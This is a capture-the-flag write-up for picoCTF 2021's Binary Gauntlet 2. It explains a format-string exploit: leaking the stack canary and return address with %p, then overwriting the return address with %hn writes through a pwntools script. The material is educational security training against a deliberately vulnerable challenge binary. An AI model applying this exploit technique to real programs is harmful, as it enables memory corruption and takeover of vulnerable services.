Binary Gauntlet 2 picoCTF 2021 Solution

Published: April 2, 2026

Description

Level 3 of Binary Gauntlet. This time there is a format string vulnerability. Use it to leak stack addresses and overwrite the return address with the win function.

Download the binary and analyze it for format string vulnerabilities.

bash
wget https://mercury.picoctf.net/static/.../vuln
bash
chmod +x vuln
bash
checksec vuln
  1. Step 1Confirm canary with checksec, probe with %p
    Run checksec to see whether a stack canary is present. Then send a row of %p to confirm the format-string bug and observe what's on the stack.
    bash
    checksec --file=./vuln
    bash
    echo '%p %p %p %p %p %p %p %p' | ./vuln
    bash
    echo 'AAAA %p %p %p %p %p %p' | ./vuln
    Learn more

    A format string vulnerability occurs when user-controlled input is passed directly as the format string to printf(), sprintf(), or similar functions. Instead of printf(user_input), the safe pattern is printf("%s", user_input).

    How printf walks its arguments. On x86-64, the first six variadic arguments are in rdi, rsi, rdx, rcx, r8, r9. rdi is the format string itself, so the "first" argument printf reads is in rsi. After all six registers are exhausted, printf reads from the stack starting at [rsp]. That means typical leak positions for stack data are %6$p through whatever depth you need.

    printf("%1$p %2$p %3$p %4$p %5$p %6$p %7$p %8$p")
             |    |    |    |    |    |    |    |
             rsi  rdx  rcx  r8   r9   [rsp][rsp+8][rsp+16]
             (1)  (2)  (3)  (4)  (5)  (6)  (7)   (8)

    On 32-bit, all variadic args come from the stack starting at [esp+4], so %1$p is the slot right after the format string's pointer.

    The %n write primitive. %n stores the number of characters printed so far into *ptr where ptr is the corresponding argument. Variants control the write width: %hhn writes 1 byte, %hn writes 2 bytes, %n writes 4 bytes, %lln writes 8 bytes. To write a 64-bit value you typically do four staggered %hn writes (one per 16-bit word) because forcing printf to produce a multi-billion-character output is impractical. %c with a width inflates the count cheaply: %65535c bumps the counter by 65535 with negligible output.

  2. Step 2Leak the stack canary and return address
    Use %p format specifiers to dump the stack. Identify the canary (typically 8 bytes ending in 0x00 on the least-significant byte) and the saved return address (will point into the binary or libc).
    python
    python3 -c "print('%p.' * 30)" | ./vuln
    bash
    # Count which position in the output contains the canary and saved RIP
    Learn more

    Stack canaries are random values placed between local variables and the saved return address. Before a function returns, the canary is checked against the original value; if they differ (indicating a buffer overflow), the program aborts with a stack smashing detected message.

    Identifying the canary in a leak dump. glibc canaries are 8 bytes with the lowest byte forced to 0x00 -- specifically so that strcpy-style writers cannot copy a canary onto the stack. In a row of %p output you will see something like:

    (nil) 0x7ffd... 0x7f1234... 0xa1b2c3d4e5f60100 0x7ffd...
                                    ^^^^^^^^^^^^^^^^^^
                                    canary: 8 bytes ending in 00

    The ...00 tail is the giveaway. Stack pointers (0x7ffd...) and code pointers (0x55... PIE or 0x40... non-PIE) have predictable high nibbles, while the canary is high-entropy with that null suffix.

    Saved RIP shape. The saved return address points back into main after the call site, e.g. 0x401234 (non-PIE) or 0x5555555551a4 (PIE). Knowing the return target also reveals the binary base when PIE is on -- subtract the static address of the call site to get the runtime base.

  3. Step 3Overwrite the return address with %n
    Use the format string write primitive (%hn for short writes) to overwrite the saved return address. Supply the target address on the stack and craft a format string that writes the win() function address there.
    python
    python3 - <<'EOF'
    from pwn import *
    
    e = ELF('./vuln')
    p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>)
    
    win_addr = e.sym['win']
    
    # First, send a leak payload
    p.sendline(b'%p.' * 20)
    leak_output = p.recvline()
    # Parse leaks to find canary and saved RIP positions
    
    # Second stage: use fmtstr_payload helper
    # fmtstr_payload(offset, {target_addr: value_to_write})
    payload = fmtstr_payload(6, {saved_ret_addr: win_addr})
    p.sendline(payload)
    p.interactive()
    EOF
    Learn more

    How fmtstr_payload builds the write. Suppose you want to write 0x4011d6 (the win address) to 0x7ffd00001000 (the saved RIP slot), and your input lands at format-arg position 6. Splitting the 8-byte target value into two 4-byte halves (or four 2-byte halves for shorter output), the helper emits something like:

    payload =                                # bytes printed so far
      b"%4566c"                              # 4566 ('A's worth)
      b"%8$hn"                               # write 4566 = 0x11d6 -> *arg8
      b"%12298c"                             # +12298 -> total 16864 = 0x41E0
      ...                                    # (more %c%hn pairs for higher words)
      b"\x00\x10\x00\x00\xfd\x7f\x00\x00"  # arg8 = saved RIP addr
      b"\x02\x10\x00\x00\xfd\x7f\x00\x00"  # arg9 = saved RIP+2 ...

    The pointer table sits at the end of the payload because %n reads its target pointer from the stack arg list. By padding the pointer block to a fixed offset, fmtstr_payload knows which %N$hn index aims at which target word. Calling fmtstr_payload(offset, {addr: value}) handles all of this for you, including width tricks like %c to bump the print counter cheaply.

    Format string vulnerabilities are rated high-severity in real-world security because they combine arbitrary read and arbitrary write in a single primitive. Modern compiler protections like FORTIFY_SOURCE reject %n when the format string is in writable memory, but many codebases still have this class of bug. For more on the leak-and-write workflow, see the format string guide; for the pwntools side of orchestrating these payloads, see the pwntools guide.

Flag

picoCTF{...}

Format string vulnerabilities grant arbitrary read (leak canary/addresses via %p) and arbitrary write (overwrite return address via %n) without any buffer overflow - a powerful exploitation primitive.

Want more picoCTF 2021 writeups?

Tools used in this challenge

Related reading

What to try next